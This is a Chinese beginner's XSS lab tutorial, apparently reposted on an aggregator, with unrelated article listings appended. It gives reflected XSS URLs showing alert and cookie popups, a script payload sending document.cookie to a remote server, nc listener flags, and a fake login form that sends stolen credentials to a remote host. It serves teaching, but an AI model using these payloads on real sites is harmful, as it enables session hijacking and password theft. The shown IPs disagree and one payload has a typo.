XSS基础环境及实验演示教程(适合新手)

news2024/12/23 17:52:19

目录

前言

环境说明:

1、轻量级 Web 服务器 + PHP

2、易受XSS攻击的PHP程序

3、非持久性 XSS 攻击

4、窃取会话cookie

5 注入表单窃取密码


前言

        花了一点时间,做了一个“XSS基础环境及实验演示教程”,当然教程很简单,适合刚接触和安全行业的小伙伴去认识了解XSS漏洞,并且上手实操。

        欢迎各位提出问题和作者v一起交流:tomorrow_me-

环境说明:

Kali机器:192.168.2.108

Windows机器:192.168.2.105

为了中间实验过程方便,有时候会利用一台云服务器辅助,实验过程中出现为显示IP的地址或者不为以上两个IP时,均为云服务器。

1、轻级 Web 服务器 + PHP

任务 1. 重新同步包索引文件:

任务 2. 安装轻级和 PHP:

apt-get 安装 lighttpd php php-fpm php-cgi

安装 Lighttpd:sudo apt-get install lighttpd

安装 PHP 和 FastCGI 进程管理器(php-fpm):sudo apt-get install php-fpm

安装 PHP CGI 工具(php-cgi):sudo apt-get install php-cgi

lighttpd配置文件:/etc/lighttpd/conf-available/

启用命令:

sudo lighttpd-enable-mod fastcgi-php

最后,重启Lighttpd服务器以使更改生效:

sudo service lighttpd restart

任务 3. 重新加载 lighttpd 守护进程:

a) service lighttpd force‑reload

任务 4. 从受害者的浏览器检查 Web 服务器是否正在运可访问的。

a) http:// 192.168.2.108

2受XSS攻击的PHP程序

任务 1. 找到您的 lighttpd 络服务器的档根录:

a) lighttpd ⽹络服务器的默认根⽬录是什么?

/var/www/html/

任务 2. 创建一个新的 index.php 文件,这是一个欢迎用户名的简单 PHP 程序。用户名是使用 GET 方法获取的,如以下 PHP 模板所示:

a) 将 index.php 文件复制到文档根目录,然后从受害者的浏览器访问该文件。显示的是什么词?

任务 3. 我们受攻击的 PHP 程序 (index.php) 需要通过 GET 请求的参数(名称)来欢迎用户。

a) 如下所示欢迎用户admin 的URL 是什么?

http://192.168.2.108/index.php?username=admin

3、非持久性 XSS 攻击

任务 1. 在受害者的浏览器中,是发送一个简单的字符作为名称参数,而是尝试发送在名称前添加“<h1>”HTML 标记。在 HTML 中,<h1> 标签用于标题,预期结果是一个大的名称。

实验结果如下图所示:

指明实现该目的的完整 URL。

http://192.168.2.108/index.php?username=<h1>admin</h1>

任务 2. 查看受害者浏览器中的源代码。

a) 生成的源代码是什么?

如下图:

任务 3. 现在,我们将注入功能强大的 JavaScript 代码,而是注入基本的 HTML 标记。为确保我们的 JavaScript 代码在受害者的浏览器中运,我们将显示一条消息。为此,我们将使用 alert() JavaScript 函数。

a) 提供将在包含消息的 JavaScript 中执行 alert() 的恶意 URL 如下图所示被黑客入侵:

url: http://192.168.2.108/index.php?username=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E

任务 4. 查看受害者浏览器中的源代码。

a) 生成的源代码是什么?

4、窃取会话cookie

任务 1. 要模拟具有会话 ID 的 Web 服务器,我们可以在 Web 服务器中使用 setcookie PHP 函数。这可以通过将以下内容添加到 index.php 文件来完成:

任务 2.在将 sessionID 发送到远程服务器之前,⼀个好的起点是在 JavaScript 中执⾏⼀些检查。使⽤ document.cookie Javascript 属性:

  1. 创建⼀个 URL,在受害者的浏览器中显⽰ cookie 值。为此,请使⽤ alert()

JavaScript 函数和 document.cookie JavaScript 属性。实现该⽬标的 URL 是什么?

url为:http://192.168.2.108/index.php?username=%3Cscript%3Ealert(document.cookie)%3C/script%3E

任务 3.最后,我们要将 cookie 值泄露到远程服务器。

  1. 在您的 Kali 机器中,使⽤ nc ⼯具检索渗出数据。阅读⼿册以了解如何运⾏ nc 以侦听端⼝ 80。指⽰ nc 侦听端⼝ 80 的参数是哪些?

参数 -l 表示监听模式,参数 -v 表示启用详细模式,参数 -p 指定监听的端口号。

  1. 使⽤上述可能的 JavaScript 代码之⼀,通过替换“...”来泄露会话 ID,通过适当的 JavaScript 代码。

192.168.2.108/index.php?username=admin<script>window.location="http://81.68.2.42/cookie.php%3Fcookie="%2Bdocument.cookiei</script>

通过这个代码,可以获取用户的cookie,并且拿到cookie。

http://81.68.122.42/cookie.php是我部署的http服务,cookie.php如下:

它会将窃取的cookie写入当前路径的cookies.txt中;如:

5 注入表单窃取密码

任务 1. 在此任务中,您需要创建一个 URL 以利用 index.php 文件中的 XSS 漏洞。我们需要做的是创建一个伪造的 HTML 表单,向受害者询问用户名和密码。

当受害者按下提交按钮时,凭据将被发送到由攻击者控制的远程服务器。

指示 nc 监听端口 9090 的参数是么?

参数 -l 表示监听模式,参数 -v 表示启用详细模式,参数 -p 指定监听的端口号。

允许您使用虚假表单窃取和泄(到您的 Kali 机器)受害者的用户名和密码的 URL 是么?

http://81.68.123.42:9090/login.php?username=admin&passowrd=123456

更多分享:VX公众号:安全info

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/564034.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Electron 如何创建模态窗口?

目录 前言一、模态窗口1.Web页面模态框2.Electron中的模态窗口3.区分父子窗口与模态窗口 二、实际案例使用总结 前言 模态框是一种常用的交互元素&#xff0c;无论是在 Web 网站、桌面应用还是移动 APP 中&#xff0c;都有其应用场景。模态框指的是一种弹出窗口&#xff0c;它…

leetcode 1383. Maximum Performance of a Team(团队的最大performance)

n个工程师&#xff0c;长度为n的speed数组和efficiency数组。 每次最多选k个工程师&#xff0c;取出k个对应的speed和efficiency数字。 performancesum(k个speed) ✖ min(k个efficiency) 可以理解为k个人一起干&#xff0c;效率按最慢的人算&#xff08;一个环节干不完其他人都…

Linux——IO之系统接口+文件描述符详解

IO 文件再次理解系统接口文件操作理解文件描述符 fd 文件再次理解 文件 文件内容 文件属性 其中文件属性也是数据–>即便你创建一个空文件&#xff0c;其也是要占据磁盘攻坚的。 文件操作 文件内容的操作 文件属性的操作 有可能在操作文件的过程中即改变文件的内容&…

Linux---echo命令、反引号`、tail命令、重定向符

1. echo命令 可以使用echo命令在命令行内输出指定内容 语法&#xff1a;echo 输出的内容 无需选项&#xff0c;只有一个参数&#xff0c;表示要输出的内容&#xff0c;复杂内容可以用 ”” 包围 带有空格或 \ 等特殊符号&#xff0c;建议使用双引号包围。 如果不使用双引号…

华为OD机试真题 Java 实现【统计匹配的二元组个数】【2023Q2 200分】

一、题目描述 给定两个数组A和B&#xff0c;若数组A的某个元素A[i]与数组B中的某个元素B[j]满足 A[i] B[j]&#xff0c;则寻找到一个值匹配的二元组(i, j)。 请统计在这两个数组A和B中&#xff0c;一共存在多少个这样的二元组。 二、输入描述 第一行输入数组A的长度M&…

复习之[ 查询帮助 ] 和 [ 输入输出管理 ]

1.查询命令用途--whatis # whatis 命令 : 查询命令的用法 -如果结果出现nothing , 有两种情况&#xff1a; &#xff08;1&#xff09;查询数据库没有更新&#xff0c;此时输入命令 mandb更新数据库即可。 &#xff08;2&#xff09;查询的命令不存在。 2.获得命令的简要帮…

想学渗透,如何入门?

首先 渗透是计算机技术应用的一种&#xff0c;脱离不了基础&#xff0c;您需要学会一门编程语言&#xff0c;任何与计算机相关的都是从学习编程语言开始的&#xff0c;让你对计算机有个初步的认识&#xff0c;将您认识的数字转化为用0和1表示的编码。这个阶段推荐学习Python&a…

​LeetCode解法汇总LCP 33. 蓄水

目录链接&#xff1a; 力扣编程题-解法汇总_分享记录-CSDN博客 GitHub同步刷题项目&#xff1a; https://github.com/September26/java-algorithms 原题链接&#xff1a;力扣 描述&#xff1a; 给定 N 个无限容量且初始均空的水缸&#xff0c;每个水缸配有一个水桶用来打水&…

华芯微特SWM34-IO速度优化

对比测试了一下IO翻转速度在各种函数调用的情况下的差异 CPU运行速度150Mhz,SDRAM开 直接调用翻转函数 while(1) {GPIO_InvBit(GPIOA, PIN0)&#xff1b; }速度大约5Mhz&#xff0c;主要是因为函数调用开销和函数内部的移位和异或操作&#xff0c;增加了指令的运行数量。 vo…

这是JWT 简单使用

JWT 是 Json Web Token的缩写 JSON Web Tokens - jwt.ioJSON Web Token (JWT) is a compact URL-safe means of representing claims to be transferred between two parties. The claims in a JWT are encoded as a JSON object that is digitally signed using JSON Web Sig…

6-索引

目录 1.什么是索引&#xff1f; PS&#xff1a;数据库引擎简介&#xff08;InnoDB VS MyISAM&#xff09; 2.为什么需要索引&#xff1f; PS&#xff1a;存储数据模组 PS&#xff1a;查询数据存储的目录&#xff1a; 3.索引的作用 PS&#xff1a;索引 VS 书的目录 4.索…

PostgreSQL 源码部署

文章目录 说明1. 准备工作1.1 源码包下载1.2 解压安装目录1.3 安装依赖包1.4 添加用户1.5 创建数据目录 2. 编译安装2.1 源码编译2.2 配置环境变量2.3 初始化数据库2.4 启动数据库2.5 连接数据库 3. 参数调整3.1 配置 pg_hba3.2 监听相关2.4 日志文件2.5 内存参数 说明 本篇文…

db2常用命令/db2常见报错

文章目录 一、前言二、db2服务端常用命令2.1 启动/停止数据库2.2 连接数据库2.3 查看schema下所有表名2.4 查看表结构2.5 删除表数据2.6 导入导出del/ixf文件2.6.1 del与ixf区别 三、db2客户端常用命令3.1 查看schema下所有表及每个表的记录数3.2 修改表字段&#xff0c;对表字…

WPF中集合ObservableCollection<T>的使用

C#集合类ObservableCollection<T> 类似于泛型列表类List<T>&#xff0c;表示一个动态数据收集&#xff0c;该集合在添加或删除项或刷新整个列表时提供通知。 所在命名空间&#xff1a;System.Collections.ObjectModel 继承关系&#xff1a; public class Obser…

APP软件开发详细流程如何?

在互联网技术发达的今天&#xff0c;APP已经深入到我们生活的方方面面了&#xff0c;从购物、家政、洗车、教育到美容、旅游、餐饮等等&#xff0c;都可以通过各种各样的APP软件来实现&#xff0c;使我们的生活更加便捷化、智能化。不过&#xff0c;很多感兴趣的朋友对于APP软件…

亚马逊云科技宣布全面推出Amazon Aurora I/O-Optimized集群配置

自亚马逊云科技Amazon Aurora于2014年推出以来&#xff0c;成千上万的客户选择Aurora来运行其要求最严苛的应用程序。Aurora在全球范围内提供无与伦比的高性能和可用性&#xff0c;完全兼容MySQL和PostgreSQL&#xff0c;成本仅为商用数据库的十分之一。 许多亚马逊云科技客户受…

电竞小程序系统开发功能有哪些?

电竞小程序系统开发功能有哪些&#xff1f; 1、电竞资讯。对于电竞爱好者来说&#xff0c;每一场电竞比赛的相关信息都是不容错过的&#xff0c;因此用户可以通过小程序直接了解近期电竞相关资讯&#xff0c;例如&#xff1a;赛程安排、直播平台、参赛团队、比赛规则等&…

【CocosCreator问题总结】MotionStreak效果显示异常

&#x1f4e2;博客主页&#xff1a;肩匣与橘&#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01;&#x1f4e2;本文由肩匣与橘编写&#xff0c;首发于CSDN&#x1f649;&#x1f4e2;生活依旧是美好而又温柔的&#xff0c;你也是✨ …

公司新招了一个00后软件测试工程师,上来一顿操作给我看呆了...

前段时间公司新来了个同事&#xff0c;听说大学是学的广告专业&#xff0c;因为喜欢IT行业就找了个培训班&#xff0c;后来在一家小公司干了三年&#xff0c;现在跳槽来我们公司。来了之后把现有项目的性能优化了一遍&#xff0c;服务器缩减一半&#xff0c;性能反而提升4倍!给…

基于微信小程序的医院挂号预约系统

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…